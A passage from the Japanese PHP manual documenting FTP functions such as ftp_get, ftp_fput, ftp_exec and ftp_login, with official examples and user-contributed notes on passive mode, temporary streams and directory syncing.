    // $match[3] = password
    // $match[4] = sld.domain.tld
    // $match[5] = /path1/path2/
    preg_match("/ftp:\/\/(.*?):(.*?)@(.*?)(\/.*)/i", $uri, $match);

    // Set up a connection
    $conn = ftp_connect($match[1] . $match[4] . $match[5]);

    // Login
    if (ftp_login($conn, $match[2], $match[3]))
    {
        // Change the dir
        ftp_chdir($conn, $match[5]);

        // Return the resource
        return $conn;
    }

    // Or retun null
    return null;
}
?>


FTP サーバー上のファイルを削除する

  • ≪ ftp_connect
  • ftp_exec ≫
  • PHP Manual
  • FTP 関数
  • FTP サーバー上のファイルを削除する

ftp_delete

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_delete — FTP サーバー上のファイルを削除する

説明

ftp_delete ( resource $ftp , string $filename ) : bool

ftp_delete() は、filename で指定したファイルを FTP サーバーから削除します。

パラメータ

ftp

FTP 接続のリンク ID 。

filename

削除するファイル。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ftp_delete() の例

<?php
$file = 'public_html/old.txt';

// 接続を確立する
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードでログインする
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// $file の削除を試みる
if (ftp_delete($conn_id, $file)) {
 echo "$file deleted successful\n";
} else {
 echo "could not delete $file\n";
}

// 接続を閉じる
ftp_close($conn_id);
?>

User Contributed Notes

engrumair_sabir at yahoo dot com 03-Apr-2014 05:18
if you want to upload the file on server and thn do delete it.. this script works well

<?php
// connect and login data
$web = '111.111.111.111';
$user = '123abc';
$pass = 'abc123';
// file location
$server_file = '/public_html/upload/test.csv';
$local_file = 'test.csv';
//connect
$conn_id = ftp_connect($web);
$login_result = ftp_login($conn_id,$user,$pass);
//uploading
if (ftp_put($conn_id, $server_file, $local_file, FTP_BINARY))
 {echo "Success \n";}
else {echo "Failed";}

// try to delete $file
if (ftp_delete($conn_id, $server_file)) {
 echo "$server_file deleted successful\n";
} else {
 echo "could not delete $server_file\n";
}

// close the connection
ftp_close($conn_id);
?>
kanhaiya4it at gmail dot com 28-Jan-2014 12:49
This works perfectly!

<?php
$file = 'public_html/plentyport.com/jobs/employee/resumes/4216:54:38Resume (1).docx';
$ftp_server="your server address";
// set up basic connection
$conn_id = ftp_connect($ftp_server);
$ftp_user_name="your user server name";
$ftp_user_pass="your server password";
// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to delete $file
if (ftp_delete($conn_id, $file)) {
 echo "$file deleted successful\n";
} else {
 echo "could not delete $file\n";
}

// close the connection
ftp_close($conn_id);
?>
Jim Greene 01-Jul-2013 07:15
Generally speaking, unlink will work just fine for most applications, however, if you are using multiple servers, you're going to have to connect to the other server using FTP.
webmaster at iamsowonderful dot com 03-Apr-2005 10:37
You can make a script delete itself with ftp_delete!

It's pretty useful when creating an install script which you want to destroy at the end of the installation to prevent it from being run later.

On Linux machines, very often the user uploads third party scripts, and gets asked to CHMOD this and delete that manually because the webserver user is different from the FTP user ; make them enter their FTP info and get rid of the tedious file manipulation step!

Be careful, though. You will need to flush the output buffer and call ftp_delete at the end of the script, or else the script will die before it fully executes. Look up ob_end_flush for more info.


FTP サーバー上でのコマンドの実行をリクエストする

  • ≪ ftp_delete
  • ftp_fget ≫
  • PHP Manual
  • FTP 関数
  • FTP サーバー上でのコマンドの実行をリクエストする

ftp_exec

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

ftp_exec — FTP サーバー上でのコマンドの実行をリクエストする

説明

ftp_exec ( resource $ftp , string $command ) : bool

FTP サーバーに SITE EXEC command リクエストを 送信します。

パラメータ

ftp

FTP 接続のリンク ID 。

command

実行したいコマンド。

返り値

コマンドが成功した（サーバーの応答コードが 200） 場合に true を、それ以外の場合に false を返します。

例

例1 ftp_exec() の例

<?php

// 変数を初期化します。
$command = 'ls -al >files.txt';

// 接続を確立します。
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードを指定してログインします。
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// コマンドを実行します。
if (ftp_exec($conn_id, $command)) {
    echo "$command の実行に成功しました\n";
} else {
    echo "$command の実行に失敗しました\n";
}

// 接続を閉じます。
ftp_close($conn_id);

?>

参考

  • ftp_raw() - FTP サーバーに任意のコマンドを送信する

User Contributed Notes

sam at totallydigital dot co dot nz 16-Dec-2003 01:34
A word of caution, execution via FTP isn't very widely supported.  Check that it works on the servers that you intend to connect to before you start coding something that requires this.


FTP サーバーからファイルをダウンロードし、オープン中のファイルに保存する

  • ≪ ftp_exec
  • ftp_fput ≫
  • PHP Manual
  • FTP 関数
  • FTP サーバーからファイルをダウンロードし、オープン中のファイルに保存する

ftp_fget

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_fget — FTP サーバーからファイルをダウンロードし、オープン中のファイルに保存する

説明

ftp_fget ( resource $ftp , resource $stream , string $remote_filename , int $mode = FTP_BINARY , int $offset = 0 ) : bool

ftp_fget() は、FTP サーバーから remote_filename を取得し、指定したファイルポインタに書きこみます。

パラメータ

ftp

FTP 接続のリンク ID 。

stream

オープンされているファイルのポインタ。ここにデータが保存されます。

remote_filename

リモートファイルのパス。

mode

転送モード。FTP_ASCII または FTP_BINARY のどちらかを指定する必要があります。

offset

リモートファイル中で、ダウンロードを開始する位置。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.3.0 | mode パラメータはオプションになりました。 これより前のバージョンでは、このパラメータは必須でした。

例

例1 ftp_fget() の例

<?php

// リモートファイルへのパス。
$remote_file = 'somefile.txt';
$local_file = 'localfile.txt';

// 書き込み用のファイルをオープンします。
$handle = fopen($local_file, 'w');

// 接続を確立します。
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードを指定してログインします。
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// $remote_file をダウンロードし、$handle に保存しようとします。
if (ftp_fget($conn_id, $handle, $remote_file, FTP_ASCII, 0)) {
 echo "$local_file への書き込みに成功しました\n";
} else {
 echo "$remote_file を $local_file にダウンロードする際に問題が発生しました\n";
}

// 接続およびファイルハンドラを閉じます。
ftp_close($conn_id);
fclose($handle);
?>

参考

  • ftp_get() - FTP サーバーからファイルをダウンロードする
  • ftp_nb_get() - FTP サーバーからファイルを取得し、ローカルファイルに書き込む（非ブロッキング）
  • ftp_nb_fget() - FTP サーバーからファイルをダウンロードし、オープン中のファイルに保存する（非ブロッキング）

User Contributed Notes

lionskape at gmail dot com 06-Feb-2017 04:38
if you are using windows ftp-server with cp1251 encoding there are some troubles with russian "я" in filename\path.

php use telnet to connect ftp-server and there are special symbol with code 255 in telnet protocol. You can try use ftp_raw($connection, 'OPTS UTF8 ON'); and work in utf-8 (if server provides it).

P.S. sorry for my bad english
mike at eastghost dot com 03-Mar-2013 02:22
You might need to use ftp_pasv() if you're behind a firewall and receiving odd timeouts, file creation but now local data saving, etc.
broom at alturnanetworks dot com 03-Oct-2008 04:49
<?php
/**
 * Function returns contents via FTP connection and returns it as string (right version...)
 */
function ftp_get_contents ($conn_id, $filename) {
    //Create temp handler:
    $tempHandle = fopen('php://temp', 'r+');

    //Get file from FTP:
    if (@ftp_fget($conn_id, $tempHandle, $filename, FTP_ASCII, 0)) {
        rewind($tempHandle);
        return stream_get_contents($tempHandle);
    } else {
        return false;
    }
}
?>
broom at alturnanetworks dot com 03-Oct-2008 04:18
Another ftp_get_contents approach, using a temperary stream handler. Returns file contents as string.

<?php
function ftp_get_contents ($conn_id, $filename,
//Create temp handler:
    $tempHandle = fopen('php://temp', 'r+');

//Get file from FTP assuming that it exists:
    ftp_fget($conn_id, $tempHandle, $filename, FTP_ASCII, 0));

    //Getting detailed stats to check filesize:
    $fstats = fstat($tempHandle);

    return fread($tempHandle, $fstats['size']);
}
?>
justrafi at gmail dot com 06-Feb-2008 08:44
I was in need to synchronize two folders on two separate servers, one is a Windows server, and the other is a Linux server. I created this short and sweet function to help me do this. PLEASE NOTICE: This will not copy folders, and probably will fail if remote folder contains anything else than files.

function sync_folders($host, $port, $username, $password, $remote_dir, $local_dir, $passive_mode = true) {
    $conn_id = ftp_connect($host, $port);
    if (!$conn_id) return false; # fail to connect
    if (!ftp_login($conn_id, $username, $password)) { ftp_close($conn_id); return false; }  # fail to login
    ftp_pasv($conn_id, $passive_mode);
    if (!ftp_chdir($conn_id, $remote_dir)) { ftp_close($conn_id); return false; } # fail to change dir
    if (substr($local_dir, -1) != '/') $local_dir .= '/';

    $list = ftp_nlist($conn_id, '.');
    sort($list);
    foreach ($list as $file) {
        if (!file_exists($local_dir . $file)) {
            $is_copied = ftp_get($conn_id, $local_dir . $file, $file, FTP_BINARY);
        }
    }
    ftp_close($conn_id);
    return true;
}
rodrigo-rocha at oi dot net dot br 06-Sep-2002 07:56
If you suply only a filename to the second parameter of function the ftp_get will open a pointer to the local file creating it and write to it.It's ok if your server dont execute for to mutch time and you dont get too many files but if you do it too many times the pointers created by ftp_get will not be closed and will end your opened files capacity at your server making it to do not open any more files until you restart it.


オープン中のファイルを FTP サーバーにアップロードする

  • ≪ ftp_fget
  • ftp_get_option ≫
  • PHP Manual
  • FTP 関数
  • オープン中のファイルを FTP サーバーにアップロードする

ftp_fput

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_fput — オープン中のファイルを FTP サーバーにアップロードする

説明

ftp_fput ( resource $ftp , string $remote_filename , resource $stream , int $mode = FTP_BINARY , int $offset = 0 ) : bool

ftp_fput() は、ファイルポインタが指すデータを FTP サーバー上のリモートファイルへアップロードします。

パラメータ

ftp

FTP 接続のリンク ID 。

remote_filename

リモートファイルのパス。

stream

ローカルでオープンされているファイルのポインタ。 ファイルの終端まで進むと読み込みが終了します。

mode

転送モード。FTP_ASCII または FTP_BINARY のどちらかを指定する必要があります。

offset

リモートファイル内での、アップロード開始位置。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.3.0 | mode パラメータはオプションになりました。 これより前のバージョンでは、このパラメータは必須でした。

例

例1 ftp_fput() の例

<?php

// ファイルを読み込みモードで開く
$file = 'somefile.txt';
$fp = fopen($file, 'r');

// 接続を確立する
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードでログインする
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// $file のアップロードを試みる
if (ftp_fput($conn_id, $file, $fp, FTP_ASCII)) {
    echo "Successfully uploaded $file\n";
} else {
    echo "There was a problem while uploading $file\n";
}

// 接続を閉じ、ファイルを閉じる
ftp_close($conn_id);
fclose($fp);

?>

参考

  • ftp_put() - FTP サーバーにファイルをアップロードする
  • ftp_nb_fput() - オープン中のファイルを FTP サーバーに保存する（非ブロッキング）
  • ftp_nb_put() - FTP サーバーにファイルを保存する（非ブロッキング）

User Contributed Notes

roy at user dot nl 29-Apr-2013 08:22
For directly inserting content into a file on an FTP host, you could also create a string stream wich streams directly to the ftp_fput function.

This should create less overhead than first writing to any temp directories locally before streaming, as suggested here.

<?php

$string = "Your content goes here";
$stream = fopen('data://text/plain,' . $string,'r');

ftp_fput($this->connection,$pathTo,$stream, FTP_BINARY);

?>
php at cpis dot me 11-May-2012 02:32
This might be obvious to most of you, but make sure your stream isn't write-only. It has to be able to read from your stream in order to upload its contents.

Took me a while trying to figure out why my  uploaded file was 0B, and that was why.
jevin 22-Nov-2011 11:24
You might also want to note that ftp_fput will overwrite any existing file.
timgolding_10 at hotmail dot com 26-Apr-2009 07:48
If when using fput you get the one of the following errors:

Warning: ftp_fput() [function.ftp-fput]: Opening ASCII mode data connection

Warning: ftp_fput() [function.ftp-fput]: Opening BINARY mode data connection

and it creates the file in the correct location but is a 0kb file and all FTP commands thereafter fail. It is likely that the client is behind a firewall. To rectify this use:

<?php
ftp_pasv($resource, true);
?>

Before executing any put commands. Took me so long to figure this out I actually cheered when I did :D
rok dot meglic at gmail dot com 07-Nov-2008 04:35
Make sure you chdir to remote directory before using ftp_put or else ftp_put will just return error that it cannot create file. After you do the chdir you should NOT pass the whole path of file to ftp_put but just basename (filename). See example for more info.

Example:
<?php
$locpath = 'local_path/resources/js/test.js';
$rempath = 'resources/js/';
$remFile = 'test.js';

ftp_chdir($this->conn_id, $rempath);
ftp_put($this->conn_id, $remFile, $locpath, FTP_BINARY);
?>
robert b 12-Sep-2008 02:43
Using jopi paranoid fi's example, tmpfile() works on PHP 4 and 5 instead of using the php://temp file.
jopi paranoid fi 20-May-2008 12:57
When you have your file contents as a string, create temporary stream and use that as a file handle.

<?php

$contents = "This is a test file\nTesting 1,2,3..";

$tempHandle = fopen('php://temp', 'r+');
fwrite($tempHandle, $contents);
rewind($tempHandle);

ftp_fput($this->ftp, $filename, $tempHandle, FTP_ASCII);

?>
Charlie Brown 16-Apr-2008 02:19
Fails if destination file exists. Delete first and it works.
info at daniel-marschall dot de 19-Apr-2006 12:04
This is a function i wrote to copy a complete directory to a FTP-Server-folder.

function ftp_uploaddirectory($conn_id, $local_dir, $remote_dir)
{
  @ftp_mkdir($conn_id, $remote_dir);
  $handle = opendir($local_dir);
  while (($file = readdir($handle)) !== false)
  {
    if (($file != '.') && ($file != '..'))
    {
      if (is_dir($local_dir.$file))
      {
        ftp_uploaddirectory($conn_id, $local_dir.$file.'/', $remote_dir.$file.'/');
      }
      else
        $f[] = $file;
    }
  }
  closedir($handle);
  if (count($f))
  {
    sort($f);
    @ftp_chdir($conn_id, $remote_dir);
    foreach ($f as $files)
    {
      $from = @fopen("$local_dir$files", 'r');
      @ftp_fput($conn_id, $files, $from, FTP_BINARY);
    }
  }
}

Example:

$conn_id = @ftp_connect($server);
@ftp_login ($conn_id, $username, $passwort);
ftp_uploaddirectory($conn_id, 'mydirectory/', 'theftpdirectory/');
@ftp_quit($conn_id);

I hope you'll find it useful.
darian lassan at yahoo de 04-Feb-2003 10:00
If you want to pass a string containing the filename as source and not a resource handle use ftp_put() instead. Trivial but not mentioned here.


カレント FTP ストリームでの種々の実行時動作を取得する

  • ≪ ftp_fput
  • ftp_get ≫
  • PHP Manual
  • FTP 関数
  • カレント FTP ストリームでの種々の実行時動作を取得する

ftp_get_option

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ftp_get_option — カレント FTP ストリームでの種々の実行時動作を取得する

説明

ftp_get_option ( resource $ftp , int $option ) : int|bool

この関数は、指定した FTP 接続について option の値を返します。

パラメータ

ftp

FTP 接続のリンク ID

option

現在、以下のオプションがサポートされています:

サポートされる実行時 FTP オプション
FTP_TIMEOUT_SEC | ネットワーク関連処理で使用されるカレントのタイムアウトを返します。
FTP_AUTOSEEK | オプションが設定されている場合に true を、それ以外の場合に false を返します。

返り値

成功した場合はその値を、指定した option がサポートされていない場合は false を返します。後者の場合は、 同時に警告メッセージも発生します。

例

例1 ftp_get_option() の例

<?php
// 指定した FTP ストリームのタイムアウトを取得する
$timeout = ftp_get_option($conn_id, FTP_TIMEOUT_SEC);
?>

参考

  • ftp_set_option() - さまざまな FTP 実行時オプションを設定する

User Contributed Notes

elamrani dot sv dot laza at gmail dot com 23-Apr-2020 06:22
Please note that you can use this function to get the value of FTP_USEPASSIVEADDRESS option also :

<?php

$conn = ftp_connect("host");
$login = ftp_login($conn, "user", "password");

var_dump(ftp_get_option($conn, FTP_USEPASVADDRESS)); // true (which is the default value)

ftp_set_option($conn, FTP_USEPASVADDRESS, false); // change the value

var_dump(ftp_get_option($conn, FTP_USEPASVADDRESS)); // false

?>


FTP サーバーからファイルをダウンロードする

  • ≪ ftp_get_option
  • ftp_login ≫
  • PHP Manual
  • FTP 関数
  • FTP サーバーからファイルをダウンロードする

ftp_get

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_get — FTP サーバーからファイルをダウンロードする

説明

ftp_get ( resource $ftp , string $local_filename , string $remote_filename , int $mode = FTP_BINARY , int $offset = 0 ) : bool

ftp_get() は FTP サーバーからリモートファイルを取得し、 それをローカルファイルに保存します。

パラメータ

ftp

FTP 接続のリンク ID 。

local_filename

ローカルファイルのパス（ファイルがすでに存在する場合は上書きされます）。

remote_filename

リモートファイルのパス。

mode

転送モード。FTP_ASCII または FTP_BINARY のどちらかを指定する必要があります。

offset

リモートファイルの、ダウンロードを開始する位置。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.3.0 | mode パラメータはオプションになりました。 これより前のバージョンでは、このパラメータは必須でした。

例

例1 ftp_get() の例

<?php

// 変数を定義する
$local_file = 'local.zip';
$server_file = 'server.zip';

// 接続を確立する
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードでログインする
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// $server_file をダウンロードし、$local_file への保存を試みる
if (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY)) {
    echo "Successfully written to $local_file\n";
} else {
    echo "There was a problem\n";
}

// 接続を閉じる
ftp_close($conn_id);

?>

参考

  • ftp_pasv() - パッシブモードをオンまたはオフにする
  • ftp_fget() - FTP サーバーからファイルをダウンロードし、オープン中のファイルに保存する
  • ftp_nb_get() - FTP サーバーからファイルを取得し、ローカルファイルに書き込む（非ブロッキング）
  • ftp_nb_fget() - FTP サーバーからファイルをダウンロードし、オープン中のファイルに保存する（非ブロッキング）

User Contributed Notes

mpatnode at yahoo dot com 26-Jul-2018 08:06
Note that PHP still defaults to FTP active mode by default, which is almost never used anymore since the creation of firewalls.   Don't forget to add a ftp_pasv($conn, true) after your ftp_login.
apurvavora19 at gmail dot com 23-Jul-2018 11:57
I am using ftp_get function to download a file from the FTP server to my web server where my php script is running.
On the webserver, I want the file to be downloaded to a directory which has a structure as follows -> Data/Files/localfilename.exe

However, when I specify the above string in the $local_file_name parameter of ftp_get I get an error saying the file does not exist.

I am running a Windows Server and the php script is running from C:/xampp/htdocs/file.php

Is there any way where I can specify the path on the web server where the file is supposed to be downloaded ?
scott dot chu at udngroup dot com 30-Aug-2016 07:23
I'd suggest use ftp_fget() instead of ftp_get() since the latter only return TRUE or FALSE and there's no obvious way to get the cause of failure.

   Using ftp_fget,  you have to pass a file handle as local file, so you have to do fopen() first. By way of this, you can find 'Permission Denied' problem when call fopen(). If you use ftp_get(), there's no way to find this error cause.

   In my case, I run httpd using 'nobody' and I create ftp local folder using 'haha'. It tooks me long time to find the 'Permission Denied' problem at that time since  I use ftp_get() then.
bob at notallhere dot com 03-Apr-2013 05:50
Don't want to use an intermediate file?  Use 'php://output' as the filename and then capture the output using output buffering.

ob_start();
$result = ftp_get($ftp, "php://output", $file, FTP_BINARY);
$data = ob_get_contents();
ob_end_clean();

Don't forget to check $result to make sure there wasn't an error.  After that, manipulate the $data variable however you want.
miki at epoch dot co dot il 23-Dec-2012 09:32
If you ran the example and see that it fail after 90sec (timeout).

Then try adding:
<?php
ftp_pasv($ftp_conn, true);
?>
Ben Parish 26-Jan-2012 01:14
On Windows (and possibly *NIX) you will get "[function.ftp-get]: failed to open stream: No such file or directory in..." errors if the local_file path contains directory paths that do not already exist.

Even with write permissions ftp_get can create the file but it will NOT automatically create the parent directories as you might expect.
danny at ingeniarte dot com 25-Nov-2010 03:37
Remember to use the full server paths to the directories you are working on. Server paths are not the same as "ftp paths".

I was using the path displayed on my FTP client to download and upload files and I kept getting "Not found" or "Permission Denied" errors.
CuDi 22-Oct-2009 07:50
I tried to ftp a 7mb file today off my webserver.

I copied this example directly and it told me.

Port command successful
"there was a problem"

I thought it was because of the size.
But I guessed it might be cause of my firewall.

So I made the ftp connection passive:

<?PHP

  ...
  $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
  ftp_pasv($conn_id, true);

?>

Ran the script again & it worked fine.

Hope this helps someone
mroerick at gmx dot net 15-May-2009 12:42
ftp_sync is a way to walk the directory structure on the server and copy every directory and file to the same location locally.

<?php
$ftp_server = "ftp.example.com";
$conn_id = ftp_connect ($ftp_server)
    or die("Couldn't connect to $ftp_server");

$login_result = ftp_login($conn_id, "user", "pass");
if ((!$conn_id) || (!$login_result))
    die("FTP Connection Failed");

ftp_sync ("DirectoryToCopy");    // Use "." if you are in the current directory

ftp_close($conn_id);

// ftp_sync - Copy directory and file structure
function ftp_sync ($dir) {

    global $conn_id;

    if ($dir != ".") {
        if (ftp_chdir($conn_id, $dir) == false) {
            echo ("Change Dir Failed: $dir<BR>\r\n");
            return;
        }
        if (!(is_dir($dir)))
            mkdir($dir);
        chdir ($dir);
    }

    $contents = ftp_nlist($conn_id, ".");
    foreach ($contents as $file) {

        if ($file == '.' || $file == '..')
            continue;

        if (@ftp_chdir($conn_id, $file)) {
            ftp_chdir ($conn_id, "..");
            ftp_sync ($file);
        }
        else
            ftp_get($conn_id, $file, $file, FTP_BINARY);
    }

    ftp_chdir ($conn_id, "..");
    chdir ("..");

}
?>
w dot danford at electronics-software dot com 10-Nov-2008 02:06
A subtle issue with the ftp_get() function. The second param, string $local_file, is a file name on the SERVER running the php script. It is NOT a file on the client machine running the browser. I erroneously tried to use this ftp to download a file from my site to my local system. I entered the full path starting with the drive letter ("h:/...") on a system running WIN XP and kept getting a failure of unable to open (destination) file. Only after just putting in a file name with no pathing did I see where the file was written. It was in the directory on my site where the php script is located (hosting is managed shared LAMP server which supports multiple url's, GoDaddy hosting).
Nate from ruggfamily.com 22-Oct-2008 02:12
Here's a quick function that figures out the correct mode to use based on a file's extension.

<?php
function get_ftp_mode($file)
{
    $path_parts = pathinfo($file);

    if (!isset($path_parts['extension'])) return FTP_BINARY;
    switch (strtolower($path_parts['extension'])) {
        case 'am':case 'asp':case 'bat':case 'c':case 'cfm':case 'cgi':case 'conf':
        case 'cpp':case 'css':case 'dhtml':case 'diz':case 'h':case 'hpp':case 'htm':
        case 'html':case 'in':case 'inc':case 'js':case 'm4':case 'mak':case 'nfs':
        case 'nsi':case 'pas':case 'patch':case 'php':case 'php3':case 'php4':case 'php5':
        case 'phtml':case 'pl':case 'po':case 'py':case 'qmail':case 'sh':case 'shtml':
        case 'sql':case 'tcl':case 'tpl':case 'txt':case 'vbs':case 'xml':case 'xrc':
            return FTP_ASCII;
    }
    return FTP_BINARY;
}

// sample usage
ftp_get($conn_id, $local_file, $server_file, get_ftp_mode($server_file));
?>
Aditya P dot Bhatt (adityabhai at gmail dot com) 25-Mar-2008 03:40
<?php
                // define some variables
        $folder_path = "YOUR FOLDER PATH";
        $local_file = "LOCAL FILE PATH";
        $server_file = "SERVER FILE PATH";

        //-- Connection Settings
        $ftp_server = "IP ADDRESS"; // Address of FTP server.
        $ftp_user_name = "USERNAME"; // Username
        $ftp_user_pass = "PASSWORD"; // Password
        #$destination_file = "FILEPATH";

        // set up basic connection
        $conn_id = ftp_connect($ftp_server);

        // login with username and password
        $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

        // try to download $server_file and save to $local_file
        if (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY)) {
            echo "Successfully written to $local_file\n";
        } else {
            echo "There was a problem\n";
        }

        // close the connection
        ftp_close($conn_id);
?>
anomie at users dot sf dot net 30-Jan-2007 07:24
Crud. The _nb_ only refers to reading from the ftp server, and the buffer in the socket pair is only about 364 bytes. So it doesn't work for files larger than that size.
anomie at users dot sf dot net 25-Jan-2007 09:50
Why there isn't an "ftp_get_contents" function, I don't know. It takes a little work to emulate one, but it's doable.
<?php
function ftp_get_contents($ftp_stream, $remote_file, $mode, $resume_pos=null){
    $pipes=stream_socket_pair(STREAM_PF_UNIX, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
    if($pipes===false) return false;
    if(!stream_set_blocking($pipes[1], 0)){
        fclose($pipes[0]); fclose($pipes[1]);
        return false;
    }
    $fail=false;
    $data='';
    if(is_null($resume_pos)){
        $ret=ftp_nb_fget($ftp_stream, $pipes[0], $remote_file, $mode);
    } else {
        $ret=ftp_nb_fget($ftp_stream, $pipes[0], $remote_file, $mode, $resume_pos);
    }
    while($ret==FTP_MOREDATA){
        while(!$fail && !feof($pipes[1])){
            $r=fread($pipes[1], 8192);
            if($r==='') break;
            if($r===false){ $fail=true; break; }
            $data.=$r;
        }
        $ret=ftp_nb_continue($ftp_stream);
    }
    while(!$fail && !feof($pipes[1])){
        $r=fread($pipes[1], 8192);
        if($r==='') break;
        if($r===false){ $fail=true; break; }
        $data.=$r;
    }
    fclose($pipes[0]); fclose($pipes[1]);
    if($fail || $ret!=FTP_FINISHED) return false;
    return $data;
}
?>

Something similar would work to write a ftp_put_contents function, too.
administrator at gesoft dot org 12-Aug-2006 03:05
Hello everybody,

If someone will try to download files to the same local file (some temporary file), like shown here:

<?php
foreach ($files as $key=>$path) {
...
  $result = ftp_get($ftpConnId, 'temp.tmp', $path, FTP_BINARY);
...
}
?>

please take in consideration the fact that you will have big problems with downloading (getting) hole files. In other words 'temp.tmp' file always will have the same size equal to first downloaded file despite the real size of downloading file. I have not idea what is the reason!

If someone will think that problem is just in getting proper file size (which you will get using filssize() function) he will be mistaken. The download file's size is not equal to source file's size materially, that means fflush() function will not solve the problem (I have tried this as well).

Finally the solution was founded: before downloading a file you will need to delete local file if such exist ('temp.tmp'). So working code will look like:

<?php
foreach ($files as $key=>$path) {
...
  if (file_exists('temp.tmp')) {
    unlink('temp.tmp');
  }
  $result = ftp_get($ftpConnId, 'temp.tmp', $path, FTP_BINARY);
...
}
?>

Good luck in scripting :-)

Vitali Simsive
corey-holzer at nyc dot rr dot com 23-Jan-2004 06:20
The zero size file is not a side effect.  When the ftp_get starts the first thing it does is to create the inode/file which it will stream the data too and that is a zero size file with the nname you specified for the local file.  When the download fails it leaves the file in place.
thivierr at telus dot net 22-Nov-2003 02:25
If you previously downloaded a file before (like a huge web log), and just want to get the remaining portion, do this:

$local_file_size = filesize($local_file_path);
$get_result = ftp_get($conn_id, $local_file_path, $remote_file_path, FTP_BINARY, $local_file_size);

This same code works regardless of wether the local file exists already or not.  You should first test to make sure the local file is not bigger than the remote file.
ramiro at qusarcr dot com 06-Nov-2002 07:36
Keep in mind that ftp_get will overwrite the file on your local machine if it has the same name.


FTP 接続にログインする

  • ≪ ftp_get
  • ftp_mdtm ≫
  • PHP Manual
  • FTP 関数
  • FTP 接続にログインする

ftp_login

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_login — FTP 接続にログインする

説明

ftp_login ( resource $ftp , string $username , string $password ) : bool

指定した FTP ストリームにログインします。

パラメータ

ftp

FTP 接続のリンク ID 。

username

ユーザー名（USER）。

password

パスワード（PASS）。

返り値

成功した場合に true を、失敗した場合に false を返します。 失敗した場合は、PHP が警告を発生します。

例

例1 ftp_login() の例

<?php

$ftp_server = "ftp.example.com";
$ftp_user = "foo";
$ftp_pass = "bar";

// 接続を確立する。接続に失敗したら終了する。
$conn_id = ftp_connect($ftp_server) or die("Couldn't connect to $ftp_server");

// ログインを試みる
if (@ftp_login($conn_id, $ftp_user, $ftp_pass)) {
    echo "Connected as $ftp_user@$ftp_server\n";
} else {
    echo "Couldn't connect as $ftp_user\n";
}

// 接続を閉じる
ftp_close($conn_id);
?>

User Contributed Notes

Anonymous 07-Dec-2015 05:57
from: http://www.ietf.org/rfc/rfc1635.txt

"What is Anonymous FTP?
"...
"Traditionally, this special anonymous user account accepts any string as a password, although it is common to use either the password "guest" or one's electronic mail (e-mail) address.  Some archive sites now explicitly ask for the user's e-mail address and will not allow login with the "guest" password.  Providing an e-mail address is a courtesy that allows archive site operators to get some idea of who is using their services. "

So your code would be:
<?php
ftp_login('ftp.example.com', 'anonymous', 'user@example.com');
?>

If a blank password works, you might have a default password set in your php.ini
Travis Weston 09-Sep-2014 08:47
To suppress the PHP warning, just prepend the function with the error suppression character @. I'm usually against error suppression, but apparently some genius thought it was a good idea to really drive the point home that you have a bad login. Returning false wasn't enough?

if( ! @ftp_login( $connection, 'USERNAME', 'PASSWORD' ) ){
        die( 'Bad login, but no PHP warning thrown.');
}
contact at evoweb dot fr 29-Aug-2014 11:18
If you want to remove the warning of a bad connection with handled error activated just add before :
set_error_handler("my_error_function", E_ALL & !E_WARNING);
and after the function :
set_error_handler("my_error_function", E_ALL);
mattsch at gmail dot com 30-Nov-2010 08:12
Note that to make an anonymous ftp connection, you need to specify "anonymous" as the username and "" (empty string) as the password.

Example:
<?php
ftp_login('ftp.example.com', 'anonymous', '');
?>


指定したファイルが最後に更新された時刻を返す

  • ≪ ftp_login
  • ftp_mkdir ≫
  • PHP Manual
  • FTP 関数
  • 指定したファイルが最後に更新された時刻を返す

ftp_mdtm

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_mdtm — 指定したファイルが最後に更新された時刻を返す

説明

ftp_mdtm ( resource $ftp , string $filename ) : int

ftp_mdtm() はリモートファイルが最後に更新された時刻を取得します。

注意:

すべてのサーバーがこの機能をサポートしているわけではありません!

注意:

ftp_mdtm() はディレクトリに対しては機能しません。

パラメータ

ftp

FTP 接続のリンク ID 。

filename

最終更新時刻を取得するファイル。

返り値

成功した場合に、最終更新時刻を ローカル 側のUNIXのタイムスタンプとして返します。 エラー時に -1 を返します。

例

例1 ftp_mdtm() の例

<?php

$file = 'somefile.txt';

// 接続を確立する
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードでログインする
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// 最終更新時刻を取得する
$buff = ftp_mdtm($conn_id, $file);

if ($buff != -1) {
    // somefile.txt の最終更新時刻は: March 26 2003 14:16:41.
    echo "$file was last modified on : " . date("F d Y H:i:s.", $buff);
} else {
    echo "Couldn't get mdtime";
}

// 接続を閉じる
ftp_close($conn_id);

?>

User Contributed Notes

mawkapelle at gmail dot com 15-Nov-2018 09:13
Wrapped the above in a function, for easy use:

function getMtime($filename, $server, $login, $pwd){

    // set up connection
